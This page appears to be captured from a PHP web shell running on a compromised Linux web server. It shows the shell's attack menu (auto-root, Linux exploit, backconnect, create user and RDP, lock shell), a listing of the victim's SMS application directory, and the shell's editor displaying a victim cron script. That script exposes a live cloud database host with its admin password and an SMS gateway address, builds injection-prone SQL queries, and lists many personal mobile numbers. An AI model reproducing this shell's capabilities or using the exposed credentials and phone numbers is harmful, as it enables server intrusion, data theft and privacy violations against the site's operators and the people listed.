Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.218.108.8
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms /
[ HOME SHELL ]
Name
Size
Permission
Action
google-api-php-client
[ DIR ]
drwxr-xr-x
kreait_firebase
[ DIR ]
drwxrwxr-x
admission_sms_push.php
2.3
KB
-rwxr-xr-x
admission_sms_push_bnu.php
2.29
KB
-rwxr-xr-x
admsumsendsms.php
6.12
KB
-rwxr-xr-x
admsumsendsms_bnu_17102018.php
8.06
KB
-rwxr-xr-x
admsumsendsms_bnu_29102018.php
12.17
KB
-rwxr-xr-x
admsumsendsms_bnu_adm_pg.php
18.03
KB
-rwxr-xr-x
admsumsendsms_bnu_wait.php
27.52
KB
-rwxr-xr-x
attDegwiseReport.php
9
KB
-rw-r--r--
cron_send_sms_interana.php
1.18
KB
-rwxr-xr-x
cronjob_sendmail.php
5.81
KB
-rwxr-xr-x
cronjob_sendsms.php
5.35
KB
-rwxr-xr-x
cronjob_sendsms_bcu_mo.php
3.18
KB
-rwxr-xr-x
cronjob_sendsms_bnu.php
3.84
KB
-rwxr-xr-x
cronjob_sendsms_bnu_old.php
2.55
KB
-rwxr-xr-x
cronjob_sendsms_dud.php
2.84
KB
-rwxr-xr-x
cronjob_sendsms_dud_mo.php
3.16
KB
-rwxr-xr-x
cronjob_sendsms_old_smssum.php
3.61
KB
-rwxr-xr-x
google-api-php-client-v2.7.1-P...
13.11
MB
-rwxr-xr-x
import_data.php
3.21
KB
-rwxr-xr-x
mail.php
459
B
-rwxr-xr-x
sendGridMail.php
1.29
KB
-rwxr-xr-x
sendnotifapi.php
5.18
KB
-rwxr-xr-x
sendsmsapi.php
759
B
-rwxr-xr-x
sendsmsapi_adm.php
6.61
KB
-rw-rw-r--
sendsmsapi_new.php
6.06
KB
-rw-r--r--
sendsmsapi_onex.php
6.84
KB
-rw-r--r--
sendsmsapi_onex_new.php
4.59
KB
-rw-r--r--
sendsmsapiv1.php
9.48
KB
-rwxr-xr-x
sendsmsapiv1_07082024.php
9.47
KB
-rwxr-xr-x
sms.php
422
B
-rwxr-xr-x
sms_statistics.php
2.99
KB
-rwxr-xr-x
sms_test.php
1.21
KB
-rw-r--r--
stud_data_push.php
1.43
KB
-rwxr-xr-x
teach_data_push.php
1.47
KB
-rwxr-xr-x
test.txt
1.44
KB
-rwxr-xr-x
test_firebase_service.php
237
B
-rwxr-xr-x
validateRegno.php
2.4
KB
-rwxr-xr-x
vskub_pget_smsstat.php
2.45
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cronjob_sendsms.php
<?php //lib16107 lib16103 error_reporting(E_ALL); ini_set('display_errors', 'on'); ini_set('display_errors', 'on'); include("sendsmsapi.php"); ini_set('memory_limit','900M'); ini_set('max_execution_time',0); //$univcode = trim($_GET['funivcode']); $univcode = '003'; //ST180220202 041 photocopy if($univcode == '') { die(); } //connect to database $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com"; $username = "admin"; $password = "Logisys2104"; $conn = new mysqli($servername,$username,$password); $event = 'ST27092020'; if(!$conn) { die("Connection failed: " . mysqli_connect_error()); } $commondb = "logisys3_comexam"; $query = "select FSMSUSER, FSMSPASSWD, FSMSSENDID from {$commondb}.dbname where funivcode = '{$univcode}'"; $result1 = mysqli_query($conn,$query); $smsrow = mysqli_fetch_assoc($result1); $query = "select funivcode, fregno, fenttype, fmobileno as mobileno, concat(fmessage, ' Sent Time: ',time(now())) as fmessage, if(length(fmessage) > 160, ceiling(length(fmessage)/153), 1) as msg_cnt from {$commondb}.sendsms where ifnull(fstatus, 'F') = 'F' and fenttype = '{$event}' and funivcode = '{$univcode}' and fmobileno is not null"; $result = mysqli_query($conn,$query); $count = mysqli_num_rows($result); $username = $smsrow['FSMSUSER']; $password = $smsrow['FSMSPASSWD']; $from = $smsrow['FSMSSENDID']; $category = ''; if($count >0) { $i = 0; $text = ""; $url = "http://203.212.70.200/smpp/creditstatus.jsp?user={$username}&password={$password}"; $session = curl_init($url); curl_setopt($session, CURLOPT_HEADER, false); curl_setopt($session, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($session); curl_close($session); $res = explode(",",$response); $res1 = explode("=",$res[1]); $creditused = $res1[1]; $res2 = explode("=",$res[0]); $credit = $res2[1]; $smsremain = (int)($credit-$creditused); $query ="insert into {$commondb}.smssum(funivcode, fprocdate, fstarttime, fstartcredits) values('{$univcode}',now(),now(),'{$smsremain}')"; $res = mysqli_query($conn,$query); $last_id = $conn->insert_id; while($row = mysqli_fetch_assoc($result)) { $to = $row['mobileno']; $text = $row['fmessage']; $msg_cnt = $row['msg_cnt']; $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); echo $i." - ".$to."<br>"; $rgInsert[] = "('".$row['funivcode']."','".$row['fregno']."','{$to}','0','{$smsresp}','".$row['fenttype']."','T', DATE_FORMAT(NOW(),'%Y-%m-%d'), DATE_FORMAT(NOW(),'%T'),'{$msg_cnt}','{$last_id}')"; $rgTrimedMobs[$i] = $to; echo $i.$to."<br>"; if($i == 50) { $strInsertQuery = "insert into {$commondb}.smslog(funivcode, fregno,fmobileno, freasoncode, fguid, fenttype, fstatus,fackdate, facktime,fsmscnt, fprocid) values".implode(',',$rgInsert); //var_dump($strInsertQuery); $result1 = mysqli_query($conn,$strInsertQuery); $srtImplodedMobs = implode("','",$rgTrimedMobs); $strUpdateQuery = "update {$commondb}.sendsms set fstatus = 'T' where fenttype = '{$event}' and fmobileno in ('{$srtImplodedMobs}')"; //var_dump($strUpdateQuery); $result2 = mysqli_query($conn,$strUpdateQuery); unset($rgInsert); $rgInsert = array(); unset($rgTrimedMobs); $rgTrimedMobs = array(); $i = 0; } $i++; } $strInsertQuery = "insert into {$commondb}.smslog(funivcode,fregno,fmobileno, freasoncode, fguid, fenttype, fstatus, fackdate, facktime, fsmscnt, fprocid) values".implode(',',$rgInsert); $result1 = mysqli_query($conn,$strInsertQuery); $srtImplodedMobs = implode("','",$rgTrimedMobs); $strUpdateQuery = "update {$commondb}.sendsms set fstatus = 'T' where fenttype = '{$event}' and fmobileno in ('{$srtImplodedMobs}')"; //var_dump($strUpdateQuery); $result2 = mysqli_query($conn,$strUpdateQuery); $username = $username; $password = $password; $from = $from; $category = 'bulk'; //pg test //$to = "919741089633,918277684424,919844020272,919845532688,919480278729,919886494428,919900120447,919986554632"; //PHD //$to = "919741089633,918277684424,919844020272,919845532688,919480278729,919449259058,919986554632"; //kus - Arun and Prashant, mohan, ramesh, cheta, yogendra $to = "919741089633,919845532688,918277684424,919844059406,919844020272,919901001637,919448149461,919731400914,919845782929,919611474110,919482971796"; // GCG - Arun and Prashant, mohan, ramesh, mahesh,coe,principlae // $to = "919741089633,918277684424,919845532688,919844020272,919986554632,919448890863,919036572747"; //Arun and Prashant //$to = "919741089633,918277684424,919986554632,919845532688"; //BCU : Arun and Prashant, mohan, ramesh, mahesh,RE //$to = "918277684424,919538219443,919845532688,919844020272,919986554632,919844059406,919741089633,919845640772,918105473869"; //Arun and Prashant, mohan, niranjan,RE Madam //$to = "919741089633,918277684424,919845532688,919964040441,919845559557"; //rcub //$to = "918277684424,919845532688,919844020272,919844059406,919741089633,919538618751,919449575108,919448238385,919448008278,919844218894,919036948843,919448235042"; //dud //$to = "918277684424,919964040441,919845532688,919844020272,919844059406,918792859141,918105462759,919741089633,917892795239,919845559557"; //bnu //$to = "918277684424,919845532688,919844020272,919986554632,919844059406,919741089633,9449264711,9449819738,9742143018"; $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); echo $smsresp; } ?>
Close